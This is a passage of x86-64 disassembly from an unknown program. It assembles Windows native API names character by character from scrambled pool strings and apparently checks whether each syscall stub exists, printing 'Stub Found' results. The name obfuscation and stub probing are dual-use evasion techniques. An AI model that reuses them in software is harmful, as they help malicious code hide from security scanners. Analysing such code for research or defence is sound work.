mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xb30]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xb5f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0xb60]
mov rcx, qword [rbp + 0x2d60]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x405029
lea rsi, [0x00529414]
jmp 0x405030
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0xd4f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0xd4f]
lea rax, [rbp + 0xd20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0xd00]
lea rdx, [rbp + 0xd20]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xce0]
lea rdx, [rbp + 0xd00]
lea r8, [0x00529442]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x00529444]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x00529410]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x00529438]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xc00]
lea rdx, [rbp + 0xc20]
lea r8, [0x0052943a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xbe0]
lea rdx, [rbp + 0xc00]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xbc0]
lea rdx, [rbp + 0xbe0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xba0]
lea rdx, [rbp + 0xbc0]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x0052943c]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0xb80]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xbe0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xd00]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xd20]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xd4f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0xd50]
mov rcx, qword [rbp + 0x2d58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x405360
lea rsi, [0x00529414]
jmp 0x405367
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x101f]
lea rax, [rbp + 0xff0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0xfd0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x00529446]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x00529448]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x0052944c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xe30]
lea rdx, [rbp + 0xe50]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xe10]
lea rdx, [rbp + 0xe30]
lea r8, [0x0052944e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xdf0]
lea rdx, [rbp + 0xe10]
lea r8, [0x00529450]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xdd0]
lea rdx, [rbp + 0xdf0]
lea r8, [0x00529452]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xdb0]
lea rdx, [rbp + 0xdd0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xd90]
lea rdx, [rbp + 0xdb0]
lea r8, [0x00529400]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0xd70]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xdb0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xdd0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xdf0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xe10]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x1020]
mov rcx, qword [rbp + 0x2d50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x4057cb
lea rsi, [0x00529414]
jmp 0x4057d2
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x136f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x136f]
lea rax, [rbp + 0x1340]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x1320]
lea rdx, [rbp + 0x1340]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1300]
lea rdx, [rbp + 0x1320]
lea r8, [0x00529454]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x12e0]
lea rdx, [rbp + 0x1300]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x00529412]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x00529456]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x00529458]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x00529410]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x00529434]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x00529400]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x00529444]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x00529444]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x1040]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1320]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1340]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x136f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x1370]
mov rcx, qword [rbp + 0x2d48]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x405ce6
lea rsi, [0x00529414]
jmp 0x405ced
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x15ff]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x15ff]
lea rax, [rbp + 0x15d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x15b0]
lea rdx, [rbp + 0x15d0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x00529442]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x0052943c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x00529406]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x00529408]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x0052940c]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x00529402]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x0052940e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x00529410]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x00529412]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x1390]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x15d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x15ff]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x1600]
mov rcx, qword [rbp + 0x2d40]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x4060f9
lea rsi, [0x00529414]
jmp 0x406100
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x170f]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x170f]
lea rax, [rbp + 0x16e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x16c0]
lea rdx, [rbp + 0x16e0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x16a0]
lea rdx, [rbp + 0x16c0]
lea r8, [0x00529436]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x005293fc]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
lea r8, [0x00529444]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x1620]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x16c0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x16e0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x170f]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x1710]
mov rcx, qword [rbp + 0x2d38]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
je 0x4062fc
lea rsi, [0x00529414]
jmp 0x406303
lea rsi, [0x00529419]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430da0
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x18df]
mov rcx, rax
call fcn.0046ddb0
lea rdx, [rbp + 0x18df]
lea rax, [rbp + 0x18b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cf0
lea rax, [rbp + 0x1890]
lea rdx, [rbp + 0x18b0]
lea r8, [0x005293f8]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1870]
lea rdx, [rbp + 0x1890]
lea r8, [0x0052944e]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1850]
lea rdx, [rbp + 0x1870]
lea r8, [0x0052945a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1830]
lea rdx, [rbp + 0x1850]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1810]
lea rdx, [rbp + 0x1830]
lea r8, [0x0052944a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x17f0]
lea rdx, [rbp + 0x1810]
lea r8, [0x00529434]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x17d0]
lea rdx, [rbp + 0x17f0]
lea r8, [0x0052940a]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x17b0]
lea rdx, [rbp + 0x17d0]
lea r8, [0x005293fe]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1790]
lea rdx, [rbp + 0x17b0]
lea r8, [0x00529400]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1770]
lea rdx, [rbp + 0x1790]
lea r8, [0x00529404]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x00529444]
mov rcx, rax
call fcn.004b5cd0
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x00529444]
mov rcx, rax
call fcn.004b5cd0
lea rdx, [rbp + 0x1730]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6380
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1790]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x17b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x17d0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x17f0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1810]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1830]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1870]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1890]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x18b0]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x18df]
mov rcx, rax
call fcn.0046dde0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.004a5880
mov r9, qword [rbp + 0x2cc0]
mov r8, qword [rbp + 0x2ce0]
mov rdx, qword [rbp + 0x2cb8]
lea rax, [rbp + 0x18e0]
mov rcx, qword [rbp + 0x2d30]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d90]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2cb4], eax
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.004a6340
cmp dword [rbp + 0x2cb4], 0
